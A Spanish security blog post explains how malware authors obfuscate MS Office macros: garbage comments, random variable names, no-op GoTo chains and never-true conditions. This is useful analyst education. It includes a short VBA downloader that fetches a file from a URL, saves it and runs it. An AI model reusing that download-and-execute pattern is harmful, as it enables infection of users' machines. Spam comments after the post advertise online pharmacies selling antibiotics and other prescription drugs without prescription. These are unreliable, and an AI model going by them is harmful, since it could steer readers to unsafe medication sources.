Ofuscación de malware en macros de MS Office
La “última” moda en la distribución de malware viene en forma de documentos de MS Office con macros que llegan a tu bandeja de entrada. Si estas macros se llegan a ejecutar, intentaran descargar un ejecutable y lanzarlo para infectar el sistema. Para dificultar el trabajo de los analistas, los autores de estas macros ponen distintos obstáculos. En este post os voy a enseñar los sistemas de ofuscación y cifrado que me he encontrado en los últimos meses en este tipo de documentos. Sin más dilación, veamos como está la cosa en cuanto a ofuscación de malware en macros de MS Office.
Un poco de historia
Hace años, muchos años, se puso de moda infectar ordenadores usando macros en documentos de Office. MS reaccionó y puso una serie de sistemas de seguridad que hacían saltar un pop-up que el usuario tenía que aceptar para que se ejecutase una macro, así que los malos decidieron dejar de usar macros y explotar vulnerabilidades en Excel o en Word como método de infección.
Diez años después, se está volviendo a ver muchísima actividad maliciosa que utiliza macros para descargar una muestra de malware y ejecutarla, infectando así el sistema.
No sé la razón de esta vuelta a la viejas costumbres, hay varias teorías.
La primera teoría la leí hace poco y dice que es una forma de evitar detecciones por parte de los antivirus. Otra teoría dice que tiene que ver con los controles de seguridad que implementó MS a partir de Windows 7 (recordad, Windows XP ya no tiene soporte y no se usa en ninguna parte, guiño, guiño) . Ambas teorías son validas, pero yo añadiría otra más: es mucho más barato y simple escribir una macro que un exploit.
Ofuscación del código
Para que una macro embebida en documento de MS Office infecte un equipo, esta macro necesita realizar las siguientes acciones:
- Descargar la muestra de malware que va a infectar el equipo.
- Guardarla en el equipo.
- Ejecutarla.
Una forma de hacerlo en Visual Basic Script (vbs), el idioma que utilizan las macros de Office, es la siguiente:
Dim fd As Long 'Conexión a internet para descargar el fichero: Set Connection = CreateObject("MSXML2.XMLHTTP") Connection.Open "GET", "http://securityinside.info", False Connection.Send "dfg" response = Connection.responseBody 'Escribir fichero a disco: fd = FreeFile Open Filename For Binary As #fd Put #fd, , response Close #fd 'Ejecutar fichero: Set object_Shell.Application = CreateObject(Shell.Application) object_Shell.Application.Open "Filename"
Este tipo de ofuscación es muy simples de entender y de encontrar. Para hacer el trabajo de los analistas más difícil, los escritores de estas macros utilizan distintas técnicas de ofuscación. Una de las más comunes es meter código basura.
El código basura es un conjunto de líneas de código que no hace nada pero dificulta la comprensión de este por parte del analista de malware. Veamos algunos ejemplos.
Comentarios:
Algunos autores llenan las macros de comentarios, esto es bastante fácil de “limpiar” con una expresión regular, pero es bastante desagradable a la vista:
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè Loop 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè tVFRzNlM = RTrim(nzupGTAz) 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè Dim QEfChJYE As Integer 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè For QEfChJYE = 0 To 9 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè Dim bjOXblUV As Integer 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè bjOXblUV = 8 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè Do While bjOXblUV < 34 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè DoEvents: bjOXblUV = bjOXblUV + 1 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè Loop 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè 'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Estas líneas de código simplemente ocultan:
Loop tVFRzNlM = RTrim(nzupGTAz) Dim QEfChJYE As Integer For QEfChJYE = 0 To 9 Dim bjOXblUV As Integer bjOXblUV = 8 Do While bjOXblUV < 34 DoEvents: bjOXblUV = bjOXblUV + 1 Loop
Esto nos lleva al siguiente método de ofuscación: los nombres raros.
En el trozo del código anterior, la variable QEfChJYE no es más que un contador, la típica “i” de for (i=0;…), pero hace más complicado de leer el código para el analista.
Es muy típico también meter código basura. El código basura es código que no hace nada o que simplemente está ahí pero que nunca se va a ejecutar.
Un ejemplo de código que no hace nada es el siguiente:
GoTo LTIokkjoZR LTIokkjoZR: GoTo ePgjmeCgKuqfzq ePgjmeCgKuqfzq: wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1) GoTo nnaMoKQlSkVaAo nnaMoKQlSkVaAo: GoTo xuRnLR xuRnLR: GoTo drMOY drMOY:
Todos los “GoTo” del código sobre estas líneas saltan a la siguiente línea de código, por lo tanto, lo único que están haciendo es meter ruido en el código.
La única línea que es útil en ese trozo de código es:
wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)
Veamos un ejemplo de código que no se ejecuta:
If 739374 = 739374 + 1 Then End If 4142 < 44 Then MsgBox ("cribxFbA27") End If If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then MsgBox ("Error !!!") End If jvrNuctw = 4 Do While jvrNuctw < 47 If 782332 = 782332 + 1 Then End If 1523 < 61 Then MsgBox ("rJbiViWt51") End If If Len("mzagBJqf2364") = Len("XTRZihPM") Then MsgBox ("Error !!!") End If
Si nos paramos a analizar todos esas sentencias if, veremos que ninguna de ellas se va a cumplir nunca:
If 739374 = 739374 + 1 Then End
Un número nunca puede ser igual a ese número más uno.
If 4142 < 44 Then
4142 nunca es menor que 44.
If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then
El tamaño de esas dos cadenas nunca será el mismo.
Con este truco, además de dificultar el análisis, pueden alargar el tiempo de ejecución de la macro que puede llegar a ser útil (p.ej.: algunas sandbox hacen time out antes de que se termine la ejecución de macro).
Por lo tanto, el código que hemos visto anteriormente no hace nada de nada.
En el próximo artículo mostraré como ofuscan y cifran las cadenas de caracteres los escritores de malware en este tipo de documentos. ¿Conoces algún otro método que estén utilizando en este tipo de documentos? Déjanos un comentario con el 🙂
- Introducción a Frida - 1 junio, 2016
- De Charleta: “Android Application Function Hooking with Xposed” (Jamie Geiger) - 23 mayo, 2016
- De Charleta: “Introducing the RITA VM: Hunting for bad guys on your network for free with math” (John Strand, Derek Banks, Joff Thyer, and Brian Furhman) - 9 mayo, 2016
I appreciate the humor in your analysis! For those interested, here’s more: FIND OUT MORE. What do you think?
mexican mail order pharmacies: cmqpharma.com – п»їbest mexican online pharmacies
mexican border pharmacies shipping to usa
https://cmqpharma.com/# mexican pharmaceuticals online
reputable mexican pharmacies online
mexico drug stores pharmacies
https://cmqpharma.com/# medication from mexico pharmacy
mexican pharmaceuticals online
mexican drugstore online: online mexican pharmacy – mexican online pharmacies prescription drugs
buy medicines online in india india pharmacy mail order indianpharmacy com
mexican mail order pharmacies: purple pharmacy mexico price list – п»їbest mexican online pharmacies
https://foruspharma.com/# reputable mexican pharmacies online
canadian drugs canadian pharmacy store pharmacy com canada
thecanadianpharmacy: online canadian pharmacy – canadian pharmacy online reviews
canadian pharmacies: canadian pharmacy 24 com – safe canadian pharmacy
purple pharmacy mexico price list mexico pharmacies prescription drugs mexican border pharmacies shipping to usa
https://foruspharma.com/# medicine in mexico pharmacies
indian pharmacy paypal: indian pharmacies safe – indian pharmacy
best online pharmacy india: п»їlegitimate online pharmacies india – reputable indian pharmacies
medication from mexico pharmacy: mexican pharmaceuticals online – mexican border pharmacies shipping to usa
canadian pharmacy 24h com safe canadapharmacyonline legit canadian pharmacy uk delivery
buying from canadian pharmacies: legitimate canadian mail order pharmacy – cross border pharmacy canada
best canadian online pharmacy reviews: canadian pharmacy 24h com – canadian drug prices
http://indiapharmast.com/# Online medicine home delivery
mexico pharmacy: mexico drug stores pharmacies – mexican online pharmacies prescription drugs
http://doxycyclinedelivery.pro/# doxycycline 100 mg cost generic
п»їpaxlovid: paxlovid covid – buy paxlovid online
http://doxycyclinedelivery.pro/# can you buy doxycycline over the counter
generic clomid: how to get clomid – how to get clomid pills
http://clomiddelivery.pro/# buying clomid for sale
http://doxycyclinedelivery.pro/# buy doxycycline online 270 tabs
amoxil pharmacy: amoxicillin price without insurance – amoxicillin no prescipion
https://amoxildelivery.pro/# amoxicillin 500mg prescription
http://doxycyclinedelivery.pro/# doxycycline 100mg cost in india
Paxlovid buy online: paxlovid for sale – paxlovid covid
http://ciprodelivery.pro/# ciprofloxacin
where to buy cipro online: ciprofloxacin order online – ciprofloxacin 500mg buy online
http://doxycyclinedelivery.pro/# doxycycline 75 mg cost
https://clomiddelivery.pro/# where can i buy cheap clomid without rx
paxlovid pharmacy: paxlovid generic – Paxlovid buy online
doxycycline rx: doxycycline 7.5 mg – doxycycline 2984